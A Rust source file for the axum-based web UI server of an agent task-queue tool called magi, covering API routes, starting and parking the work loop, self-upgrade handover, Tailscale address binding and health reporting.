1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::advise;
117use crate::ask::{Answer, Question, Questions};
118use crate::chat::{Chat, Chats};
119use crate::config::{Config, Update, UpdateMode};
120use crate::md;
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{chat, daemon, report, repos, run, talk, updater};
126
127pub const DEFAULT_PORT: u16 = 7878;
129
130const POLL: Duration = Duration::from_secs(1);
132
133const KEEPALIVE: Duration = Duration::from_secs(15);
137
138const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154const LIST_DEFAULT: usize = 50;
158const LIST_MAX: usize = 500;
160
161const TITLE_MAX: usize = 72;
163
164const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
187 font-src data:; base-uri 'none'; form-action 'none'; \
188 frame-ancestors 'self'";
189
190const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
191const APP_CSS: &str = include_str!("../assets/ui/app.css");
192const APP_JS: &str = include_str!("../assets/ui/app.js");
193
194#[derive(Debug, Clone, Copy, PartialEq, Eq)]
196pub enum Bind {
197 Auto,
199 Addr(IpAddr),
201}
202
203impl std::str::FromStr for Bind {
204 type Err = String;
205
206 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
210 if s.eq_ignore_ascii_case("auto") {
211 return Ok(Self::Auto);
212 }
213 s.parse()
214 .map(Self::Addr)
215 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
216 }
217}
218
219impl std::fmt::Display for Bind {
220 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
221 match self {
222 Self::Auto => f.write_str("auto"),
223 Self::Addr(addr) => write!(f, "{addr}"),
224 }
225 }
226}
227
228#[derive(Debug, Clone)]
230pub struct Opts {
231 pub bind: Bind,
233 pub port: u16,
235 pub repo: PathBuf,
237 pub open: bool,
240 pub merge: Option<String>,
248}
249
250impl Default for Opts {
251 fn default() -> Self {
252 Self {
253 bind: Bind::Auto,
254 port: DEFAULT_PORT,
255 repo: PathBuf::from("."),
256 open: false,
257 merge: None,
258 }
259 }
260}
261
262#[derive(Debug, Clone)]
268pub struct Ui {
269 queue: Queue,
270 questions: Questions,
271 chats: Chats,
272 talks: Talks,
273 runs: PathBuf,
274 home: PathBuf,
275 repo: PathBuf,
276 worktrees_root: PathBuf,
283 turns: Arc<Mutex<HashSet<String>>>,
291 talk_turns: Arc<Mutex<HashSet<String>>>,
296 resuming: Arc<Mutex<HashSet<String>>>,
303 repos_cache: repos::Cache,
307 merge: Option<String>,
309 looping: Arc<Mutex<LoopState>>,
311 launch: Launch,
323}
324
325impl Ui {
326 pub fn new(
328 queue: Queue,
329 questions: Questions,
330 chats: Chats,
331 talks: Talks,
332 runs: PathBuf,
333 home: PathBuf,
334 repo: PathBuf,
335 ) -> Self {
336 Self {
337 queue,
338 questions,
339 chats,
340 talks,
341 runs,
342 home,
343 repo,
344 worktrees_root: run::default_worktree_root(),
348 turns: Arc::default(),
349 talk_turns: Arc::default(),
350 resuming: Arc::default(),
351 repos_cache: repos::Cache::new(),
352 merge: None,
353 looping: Arc::default(),
354 launch: launch_daemon,
355 }
356 }
357
358 pub fn open(repo: PathBuf) -> Self {
361 Self::new(
362 Queue::open(),
363 Questions::open(),
364 Chats::open(),
365 Talks::open(),
366 run::runs_root(),
367 run::home(),
368 repo,
369 )
370 }
371
372 #[must_use]
379 pub fn with_merge(mut self, merge: Option<String>) -> Self {
380 self.merge = merge;
381 self
382 }
383
384 #[must_use]
389 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
390 self.worktrees_root = root;
391 self
392 }
393
394 #[cfg(test)]
399 #[must_use]
400 fn with_launch(mut self, launch: Launch) -> Self {
401 self.launch = launch;
402 self
403 }
404
405 fn looping(&self) -> Arc<Mutex<LoopState>> {
407 Arc::clone(&self.looping)
408 }
409
410 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
417 if let Some(other) = foreign {
418 return Err(ApiError::conflict(format!(
419 "{} is already running the loop, so this one will not start a \
420 second: two loops on one queue race for the same claims and \
421 burn the agent quota twice over. Stop it where it was \
422 started.",
423 other.who()
424 )));
425 }
426 let mut state = self.lock_loop();
427 if state.live.as_ref().is_some_and(Live::alive) {
428 return Err(ApiError::conflict(format!(
429 "this magi web process (pid {}) is already running the loop",
430 std::process::id()
431 )));
432 }
433
434 let stop = daemon::Stop::new();
435 let opts = daemon::Opts {
439 repo: self.repo.clone(),
440 merge: self.merge.clone(),
441 ..daemon::Opts::default()
442 };
443 let launch = self.launch;
444 let looping = Arc::clone(&self.looping);
445 let handle = tokio::spawn({
446 let opts = opts.clone();
447 let stop = stop.clone();
448 async move {
449 let failure = match launch(opts, stop).await {
450 Ok(()) => None,
451 Err(e) => Some(format!("{e:#}")),
452 };
453 match &failure {
454 Some(why) => tracing::error!("the loop stopped: {why}"),
455 None => tracing::info!("the loop stopped"),
456 }
457 let mut state = lock_or_recover(&looping);
463 state.live = None;
464 state.last_error = failure;
465 state.rev += 1;
466 }
467 });
468 tracing::info!(
469 "the loop is now running in this process: repo {}, merge {}",
470 opts.repo.display(),
471 opts.merge.as_deref().unwrap_or("as the config says")
472 );
473 state.live = Some(Live { stop, handle, opts });
474 state.last_error = None;
477 state.rev += 1;
478 Ok(())
479 }
480
481 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
487 if let Some(other) = foreign {
488 return Err(ApiError::conflict(format!(
489 "the loop belongs to {}, and this process cannot stop it - \
490 stop it where it was started. A button that silently did \
491 nothing would be worse than this refusal.",
492 other.who()
493 )));
494 }
495 let mut state = self.lock_loop();
496 let Some(live) = state.live.as_ref() else {
497 return Ok(());
498 };
499 if live.stop.stopped() && (!park || live.stop.parking()) {
503 return Ok(());
504 }
505 if park {
506 live.stop.park();
507 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
508 } else {
509 live.stop.stop();
510 tracing::info!("the loop was asked to stop; a run in flight is finished first");
511 }
512 state.rev += 1;
513 Ok(())
514 }
515
516 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
523 let state = self.lock_loop();
524 let live = state.live.as_ref().filter(|live| live.alive());
527 LoopView {
528 running: live.is_some(),
529 stopping: live.is_some_and(|live| live.stop.finishing()),
530 parking: live.is_some_and(|live| live.stop.parking()),
531 owned: live.is_some(),
532 repo: live
533 .map_or(&self.repo, |live| &live.opts.repo)
534 .display()
535 .to_string(),
536 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
537 last_error: state.last_error.clone(),
538 daemon: DaemonView::of(reading),
539 }
540 }
541
542 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
544 lock_or_recover(&self.looping)
545 }
546
547 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
570 let mut live = self
571 .turns
572 .lock()
573 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
574 if !live.insert(id.to_owned()) {
575 return Err(ApiError::conflict(format!(
576 "chat {id} is already taking a turn"
577 )));
578 }
579 Ok(TurnGuard {
580 chat: id.to_owned(),
581 turns: Arc::clone(&self.turns),
582 })
583 }
584
585 fn is_thinking(&self, id: &str) -> bool {
589 self.turns.lock().is_ok_and(|live| live.contains(id))
590 }
591
592 fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
596 let mut live = self
597 .talk_turns
598 .lock()
599 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
600 if !live.insert(id.to_owned()) {
601 return Err(ApiError::conflict(format!(
602 "talk {id} is already taking a turn"
603 )));
604 }
605 Ok(TalkTurnGuard {
606 talk: id.to_owned(),
607 turns: Arc::clone(&self.talk_turns),
608 })
609 }
610
611 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
618 let parking = {
619 let mut state = self.lock_loop();
620 let Some(live) = state.live.as_ref() else {
621 return Ok(None);
622 };
623 let busy = live.stop.busy_now();
624 live.stop.park();
625 state.rev += 1;
626 busy
627 };
628 Ok(if parking {
629 daemon::current_work(&self.home, jiff::Timestamp::now())
634 .into_iter()
635 .next()
636 .map(|c| c.run)
637 } else {
638 None
639 })
640 }
641
642 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
646 let mut live = self
647 .resuming
648 .lock()
649 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
650 if !live.insert(id.to_owned()) {
651 return Err(ApiError::conflict(format!(
652 "run {id} is already being resumed"
653 )));
654 }
655 Ok(ResumeGuard {
656 run: id.to_owned(),
657 resuming: Arc::clone(&self.resuming),
658 })
659 }
660
661 pub fn router(self) -> Router {
669 Router::new()
670 .route("/", get(index))
671 .route("/app.css", get(app_css))
672 .route("/app.js", get(app_js))
673 .route("/api/health", get(health))
674 .route("/api/loop", get(loop_get).post(loop_post))
675 .route("/api/upgrade", post(upgrade_post))
676 .route("/api/runs", get(runs_list))
677 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
678 .route("/api/runs/{id}/report", get(run_report))
679 .route("/api/runs/{id}/fold", post(run_fold))
680 .route("/api/runs/{id}/resume", post(run_resume))
681 .route("/api/queue", get(queue_list))
682 .route("/api/queue/{id}", delete(queue_delete))
683 .route("/api/repos", get(repos_list))
684 .route("/api/drafts", get(drafts_list))
685 .route("/api/drafts/{id}/advisors", get(draft_advisors))
686 .route("/api/queue/{id}/hold", post(queue_hold))
687 .route("/api/queue/{id}/release", post(queue_release))
688 .route("/api/queue/{id}/priority", post(queue_priority))
689 .route("/api/queue/{id}/edit", post(queue_edit))
690 .route("/api/queue/{id}/done", post(queue_done))
691 .route("/api/questions", get(questions_list))
692 .route("/api/questions/{id}/answer", post(question_answer))
693 .route("/api/questions/{id}/say", post(question_say))
694 .route("/api/questions/{id}/panel", get(question_panel))
695 .route("/api/questions/{id}/panel/index.html", get(question_panel))
703 .route("/api/questions/{id}/panel/{name}", get(question_asset))
704 .route("/api/questions/{id}/asset/{name}", get(question_asset))
705 .route("/api/chats", get(chats_list).post(chat_post))
706 .route("/api/chats/{id}", get(chat_detail))
707 .route("/api/chats/{id}/say", post(chat_say))
708 .route("/api/chats/{id}/file", post(chat_file))
709 .route("/api/talks", get(talks_list).post(talk_post))
710 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
711 .route("/api/talks/{id}/say", post(talk_say))
712 .route("/api/talks/{id}/close", post(talk_close))
713 .route("/api/talks/{id}/reopen", post(talk_reopen))
714 .route("/api/events", get(events))
715 .with_state(Arc::new(self))
716 }
717}
718
719#[derive(Debug)]
725struct TurnGuard {
726 chat: String,
727 turns: Arc<Mutex<HashSet<String>>>,
728}
729
730impl Drop for TurnGuard {
731 fn drop(&mut self) {
732 if let Ok(mut live) = self.turns.lock() {
733 live.remove(&self.chat);
734 }
735 }
736}
737
738#[derive(Debug)]
740struct TalkTurnGuard {
741 talk: String,
742 turns: Arc<Mutex<HashSet<String>>>,
743}
744
745impl Drop for TalkTurnGuard {
746 fn drop(&mut self) {
747 if let Ok(mut live) = self.turns.lock() {
748 live.remove(&self.talk);
749 }
750 }
751}
752
753struct ResumeGuard {
755 run: String,
756 resuming: Arc<Mutex<HashSet<String>>>,
757}
758
759impl Drop for ResumeGuard {
760 fn drop(&mut self) {
761 if let Ok(mut live) = self.resuming.lock() {
762 live.remove(&self.run);
763 }
764 }
765}
766
767async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
777 const WINDOW: Duration = Duration::from_secs(10);
778 const GAP: Duration = Duration::from_millis(250);
779
780 let deadline = std::time::Instant::now() + WINDOW;
781 let mut said = false;
782 loop {
783 match tokio::net::TcpListener::bind(socket).await {
784 Ok(listener) => return Ok(listener),
785 Err(e)
786 if e.kind() == std::io::ErrorKind::AddrInUse
787 && std::time::Instant::now() < deadline =>
788 {
789 if !said {
790 said = true;
791 tracing::info!(
792 "{socket} is still held - waiting up to {}s for it, \
793 which is what a restart looks like from here",
794 WINDOW.as_secs()
795 );
796 }
797 tokio::time::sleep(GAP).await;
798 }
799 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
800 }
801 }
802}
803
804static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
807
808fn spawn_successor() -> Result<()> {
820 let exe = std::env::current_exe().context("find this binary")?;
821 let args: Vec<String> = std::env::args().skip(1).collect();
822 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
823
824 let mut cmd = std::process::Command::new(&exe);
825 cmd.args(&args)
826 .stdin(std::process::Stdio::null())
827 .stdout(std::process::Stdio::null())
828 .stderr(std::process::Stdio::null());
829 #[cfg(windows)]
830 {
831 use std::os::windows::process::CommandExt as _;
832 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
835 }
836 cmd.spawn().context("start the successor")?;
837 Ok(())
838}
839
840pub async fn serve(opts: Opts) -> Result<()> {
865 let (addr, warning) = resolve_bind(&opts.bind);
866 if let Some(warning) = warning {
867 tracing::warn!("{warning}");
868 }
869
870 report::set_color(false);
876
877 let ui = Ui::open(opts.repo).with_merge(opts.merge);
878 let home = ui.home.clone();
883 let repo = ui.repo.clone();
884 updater::reconcile_after_restart(&home);
889 tokio::spawn(run_update_recheck(repo, home.clone()));
898 let looping = ui.looping();
899 let socket = SocketAddr::new(addr, opts.port);
900 let listener = bind_waiting(socket).await?;
901 let url = format!("http://{addr}:{}", opts.port);
902 tracing::info!(
903 "magi web UI on {url} - there is no authentication, so anyone who can \
904 reach this address can file and hold tasks: the tailnet is the \
905 security boundary"
906 );
907 tracing::info!(
908 "the queue loop is not running yet - start it from the UI, which is \
909 the whole reason this process can: nothing in the queue moves until \
910 something is running the loop"
911 );
912 if opts.open {
913 println!("{url}");
917 }
918
919 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
922 let interrupted = async {
923 if tokio::signal::ctrl_c().await.is_err() {
924 std::future::pending::<()>().await;
929 }
930 };
931 let handover = HANDOVER.notified();
932 tokio::select! {
933 joined = &mut served => match joined {
934 Ok(outcome) => outcome.context("serve the web UI"),
935 Err(e) => Err(e).context("the task serving the web UI ended"),
936 },
937 () = interrupted => {
938 tracing::info!("shutting down the web UI");
939 finish_loop(&looping).await;
940 Ok(())
941 }
942 () = handover => {
943 tracing::info!("upgraded - handing this address to the successor");
944 hand_over(&home, &looping, served, spawn_successor).await
945 }
946 }
947}
948
949async fn hand_over(
977 home: &FsPath,
978 looping: &Mutex<LoopState>,
979 served: tokio::task::JoinHandle<std::io::Result<()>>,
980 successor: impl FnOnce() -> Result<()>,
981) -> Result<()> {
982 if let Some(mut progress) = updater::read_progress(home) {
983 progress.advance(updater::Stage::Parking);
984 let _ = updater::write_progress(home, &progress);
985 }
986 finish_loop(looping).await;
987 served.abort();
988 let _ = served.await;
989 if let Some(mut progress) = updater::read_progress(home) {
990 progress.advance(updater::Stage::Restarting);
991 let _ = updater::write_progress(home, &progress);
992 }
993 successor()
994}
995
996async fn finish_loop(state: &Mutex<LoopState>) {
1003 let live = lock_or_recover(state).live.take();
1004 let Some(live) = live else { return };
1005 live.stop.stop();
1006 lock_or_recover(state).rev += 1;
1007 tracing::info!("waiting for the loop to finish the run in flight");
1008 let _ = live.handle.await;
1011}
1012
1013pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1019 match bind {
1020 Bind::Addr(addr) => (*addr, None),
1021 Bind::Auto => match tailscale_ip() {
1022 Ok(ip) => (IpAddr::V4(ip), None),
1023 Err(why) => (
1024 IpAddr::V4(Ipv4Addr::LOCALHOST),
1025 Some(format!(
1026 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1027 local-only and a phone cannot reach it; start Tailscale \
1028 or pass --bind <addr>"
1029 )),
1030 ),
1031 },
1032 }
1033}
1034
1035fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1043 let out = std::process::Command::new("tailscale")
1044 .args(["ip", "-4"])
1045 .quiet()
1046 .output()
1047 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1048 if !out.status.success() {
1049 let why = String::from_utf8_lossy(&out.stderr);
1050 let why = why.trim();
1051 return Err(format!(
1052 "`tailscale ip -4` failed ({}){}",
1053 out.status,
1054 if why.is_empty() {
1055 String::new()
1056 } else {
1057 format!(": {why}")
1058 }
1059 ));
1060 }
1061 String::from_utf8_lossy(&out.stdout)
1062 .lines()
1063 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1064 .find(is_tailnet)
1065 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1066}
1067
1068fn is_tailnet(ip: &Ipv4Addr) -> bool {
1070 let o = ip.octets();
1071 o[0] == 100 && (64..=127).contains(&o[1])
1072}
1073
1074type ApiResult<T> = std::result::Result<T, ApiError>;
1078
1079#[derive(Debug)]
1081struct ApiError {
1082 status: StatusCode,
1083 message: String,
1084 problems: Vec<String>,
1094}
1095
1096impl ApiError {
1097 fn bad_request(message: impl Into<String>) -> Self {
1099 Self {
1100 status: StatusCode::BAD_REQUEST,
1101 message: message.into(),
1102 problems: Vec::new(),
1103 }
1104 }
1105
1106 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1108 Self {
1109 problems,
1110 ..Self::bad_request(message)
1111 }
1112 }
1113
1114 fn not_found(message: impl Into<String>) -> Self {
1116 Self {
1117 status: StatusCode::NOT_FOUND,
1118 message: message.into(),
1119 problems: Vec::new(),
1120 }
1121 }
1122
1123 fn with_status(mut self, status: StatusCode) -> Self {
1126 self.status = status;
1127 self
1128 }
1129
1130 fn bad_request_from(e: anyhow::Error) -> Self {
1134 Self::bad_request(format!("{e:#}"))
1135 }
1136
1137 fn conflict(message: impl Into<String>) -> Self {
1138 Self {
1139 status: StatusCode::CONFLICT,
1140 message: message.into(),
1141 problems: Vec::new(),
1142 }
1143 }
1144
1145 fn internal(message: impl Into<String>) -> Self {
1147 Self {
1148 status: StatusCode::INTERNAL_SERVER_ERROR,
1149 message: message.into(),
1150 problems: Vec::new(),
1151 }
1152 }
1153}
1154
1155impl From<anyhow::Error> for ApiError {
1156 fn from(e: anyhow::Error) -> Self {
1161 Self::internal(format!("{e:#}"))
1162 }
1163}
1164
1165impl IntoResponse for ApiError {
1166 fn into_response(self) -> Response {
1167 let mut body = serde_json::json!({ "error": self.message });
1168 if !self.problems.is_empty() {
1169 if let Some(map) = body.as_object_mut() {
1171 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1172 }
1173 }
1174 (self.status, Json(body)).into_response()
1175 }
1176}
1177
1178async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1187where
1188 T: Send + 'static,
1189{
1190 match tokio::task::spawn_blocking(job).await {
1191 Ok(result) => result,
1192 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1193 }
1194}
1195
1196const ASSET_CACHE: &str = "no-cache, must-revalidate";
1214
1215fn asset_etag() -> &'static str {
1222 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1223 format!(
1224 "\"{}-{}\"",
1225 env!("CARGO_PKG_VERSION"),
1226 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1231 )
1232 });
1233 &TAG
1234}
1235
1236fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1238 [
1239 (header::CONTENT_TYPE, mime),
1240 (header::CACHE_CONTROL, ASSET_CACHE),
1241 (header::ETAG, asset_etag()),
1242 ]
1243}
1244
1245fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1253 let tag = asset_etag();
1254 let known = headers
1255 .get(header::IF_NONE_MATCH)
1256 .and_then(|v| v.to_str().ok())
1257 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1261 if known {
1262 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1263 }
1264 (asset_headers(mime), body).into_response()
1265}
1266
1267async fn index(headers: header::HeaderMap) -> Response {
1268 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1269}
1270
1271async fn app_css(headers: header::HeaderMap) -> Response {
1272 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1273}
1274
1275async fn app_js(headers: header::HeaderMap) -> Response {
1276 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1277}
1278
1279#[derive(Debug, Serialize)]
1281struct HealthView {
1282 version: &'static str,
1283 home: String,
1284 queue_rev: u64,
1285 runs_rev: u64,
1286 questions_rev: u64,
1298 chats_rev: u64,
1300 talks_rev: u64,
1305 loop_rev: u64,
1310 runs_unreadable: usize,
1318 disk: DiskView,
1326 questions_open: usize,
1331 chats_open: usize,
1339 daemon: DaemonView,
1340 #[serde(rename = "loop")]
1346 looping: LoopView,
1347 update: UpdateView,
1354 upgrade: Option<UpgradeProgressView>,
1358}
1359
1360#[derive(Debug, Serialize)]
1367struct UpdateView {
1368 available: bool,
1370 to: Option<String>,
1372}
1373
1374#[derive(Debug, Serialize)]
1376struct UpgradeProgressView {
1377 stage: updater::Stage,
1378 from: String,
1379 to: Option<String>,
1380 waiting_on: Option<String>,
1383 started_at: Timestamp,
1384 updated_at: Timestamp,
1385 detail: Option<String>,
1386}
1387
1388fn should_spawn_recheck(cfg: &Update) -> bool {
1395 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1396}
1397
1398fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1410 if progress.is_some_and(|p| !p.stage.terminal()) {
1411 return false;
1412 }
1413 checker.should_check()
1414}
1415
1416fn recheck_poll_period(cfg: &Update) -> Duration {
1429 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1430}
1431
1432async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1456 loop {
1457 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1458 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1459 if !should_spawn_recheck(&cfg.update) {
1460 continue;
1461 }
1462 let Some(checker) = updater::Checker::new(&cfg.update) else {
1463 continue;
1464 };
1465 let progress = updater::read_progress(&home);
1466 if !update_recheck_due(&checker, progress.as_ref()) {
1467 continue;
1468 }
1469 if let Err(e) = checker.newer_release().await {
1470 tracing::warn!("background update recheck failed: {e:#}");
1471 }
1472 }
1473}
1474
1475fn cached_update_view(repo: &FsPath) -> UpdateView {
1481 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1482 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1483 match latest {
1484 Some(latest) => UpdateView {
1485 available: true,
1486 to: Some(latest.tag_name),
1487 },
1488 None => UpdateView {
1489 available: false,
1490 to: None,
1491 },
1492 }
1493}
1494
1495fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1501 let waiting_on = (progress.stage == updater::Stage::Parking)
1502 .then_some(progress.parked_run.as_deref())
1503 .flatten()
1504 .and_then(|id| read_run(&ui.runs, id).ok())
1505 .map(|run| {
1506 format!(
1507 "run {} is finishing {} before the address is handed over",
1508 run.short(),
1509 run.status.as_str()
1510 )
1511 });
1512 UpgradeProgressView {
1513 stage: progress.stage,
1514 from: progress.from,
1515 to: progress.to,
1516 waiting_on,
1517 started_at: progress.started_at,
1518 updated_at: progress.updated_at,
1519 detail: progress.detail,
1520 }
1521}
1522
1523#[derive(Debug, Serialize)]
1528struct DiskView {
1529 #[serde(skip_serializing_if = "Option::is_none")]
1531 free_bytes: Option<u64>,
1532 runs_bytes: u64,
1534 worktrees_bytes: u64,
1536 #[serde(skip_serializing_if = "Option::is_none")]
1538 cache_bytes: Option<u64>,
1539}
1540
1541impl DiskView {
1542 fn of(ui: &Ui) -> Self {
1544 let cache_bytes = Config::discover(&ui.repo, None)
1545 .ok()
1546 .and_then(|(cfg, _)| cfg.cache_dir())
1547 .map(|dir| crate::disk::dir_size(&dir));
1548 Self {
1549 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1550 runs_bytes: crate::disk::dir_size(&ui.runs),
1551 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1552 cache_bytes,
1553 }
1554 }
1555}
1556
1557#[derive(Debug, Serialize)]
1559struct DaemonView {
1560 running: bool,
1561 idle: Option<bool>,
1562 pid: Option<u32>,
1563 current: Vec<daemon::Current>,
1567 completed: Option<u64>,
1568 stale_for_secs: Option<i64>,
1569}
1570
1571impl DaemonView {
1572 fn of(status: Option<daemon::Reading>) -> Self {
1576 let Some(status) = status else {
1577 return Self {
1578 running: false,
1579 idle: None,
1580 pid: None,
1581 current: Vec::new(),
1582 completed: None,
1583 stale_for_secs: None,
1584 };
1585 };
1586 let now = Timestamp::now();
1587 let age = status.age_secs(now);
1588 Self {
1589 running: status.running(now),
1590 idle: Some(status.idle),
1591 pid: status.pid,
1592 current: status.current,
1593 completed: Some(status.completed),
1594 stale_for_secs: age,
1595 }
1596 }
1597}
1598
1599async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1600 blocking(move || {
1601 let reading = daemon::read_status(&ui.home);
1605 let loop_rev = ui.lock_loop().rev;
1609 let update = cached_update_view(&ui.repo);
1610 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1611 Ok(Json(HealthView {
1612 version: env!("CARGO_PKG_VERSION"),
1613 home: ui.home.display().to_string(),
1614 queue_rev: ui.queue.revision(),
1615 runs_rev: runs_revision(&ui.runs),
1616 questions_rev: ui.questions.revision(),
1617 chats_rev: ui.chats.revision(),
1618 talks_rev: ui.talks.revision(),
1619 loop_rev,
1620 runs_unreadable: runs_unreadable(&ui.runs),
1621 questions_open: ui.questions.count_open(),
1622 chats_open: ui.chats.count_open(),
1623 daemon: DaemonView::of(reading.clone()),
1624 looping: ui.loop_view(reading),
1625 disk: DiskView::of(&ui),
1626 update,
1627 upgrade,
1628 }))
1629 })
1630 .await
1631}
1632
1633#[derive(Debug, Serialize)]
1635struct LoopView {
1636 running: bool,
1638 stopping: bool,
1646 parking: bool,
1654 owned: bool,
1662 repo: String,
1665 merge: Option<String>,
1668 last_error: Option<String>,
1676 daemon: DaemonView,
1679}
1680
1681#[derive(Debug, Clone, Copy)]
1690struct Foreign {
1691 pid: Option<u32>,
1693}
1694
1695impl Foreign {
1696 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1699 let reading = reading?;
1700 if !reading.running(Timestamp::now()) {
1701 return None;
1702 }
1703 match reading.pid {
1704 Some(pid) if pid == std::process::id() => None,
1705 pid => Some(Self { pid }),
1709 }
1710 }
1711
1712 fn who(&self) -> String {
1715 match self.pid {
1716 Some(pid) => format!("another magi process (pid {pid})"),
1717 None => "another magi process".to_owned(),
1718 }
1719 }
1720}
1721
1722type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1727
1728fn launch_daemon(
1730 opts: daemon::Opts,
1731 stop: daemon::Stop,
1732) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1733 Box::pin(daemon::serve_until(opts, stop))
1734}
1735
1736#[derive(Debug, Default)]
1738struct LoopState {
1739 live: Option<Live>,
1741 rev: u64,
1749 last_error: Option<String>,
1752}
1753
1754#[derive(Debug)]
1756struct Live {
1757 stop: daemon::Stop,
1759 handle: tokio::task::JoinHandle<()>,
1764 opts: daemon::Opts,
1768}
1769
1770impl Live {
1771 fn alive(&self) -> bool {
1773 !self.handle.is_finished()
1774 }
1775}
1776
1777fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1784 state.lock().unwrap_or_else(PoisonError::into_inner)
1785}
1786
1787async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1789 blocking(move || {
1790 let reading = daemon::read_status(&ui.home);
1791 Ok(Json(ui.loop_view(reading)))
1792 })
1793 .await
1794}
1795
1796#[derive(Debug, Deserialize)]
1802#[serde(deny_unknown_fields)]
1803struct LoopCommand {
1804 running: bool,
1805 #[serde(default)]
1815 park: bool,
1816}
1817
1818async fn loop_post(
1826 State(ui): State<Arc<Ui>>,
1827 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1828) -> ApiResult<Json<LoopView>> {
1829 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1832 blocking(move || {
1833 let reading = daemon::read_status(&ui.home);
1834 let foreign = Foreign::of(reading.as_ref());
1835 if body.running {
1836 ui.start_loop(foreign)?;
1837 } else {
1838 ui.stop_loop(foreign, body.park)?;
1839 }
1840 Ok(Json(ui.loop_view(reading)))
1841 })
1842 .await
1843}
1844
1845#[derive(Debug, Serialize)]
1847struct UpgradeView {
1848 from: String,
1850 to: Option<String>,
1852 parked: Option<String>,
1854 detail: String,
1856}
1857
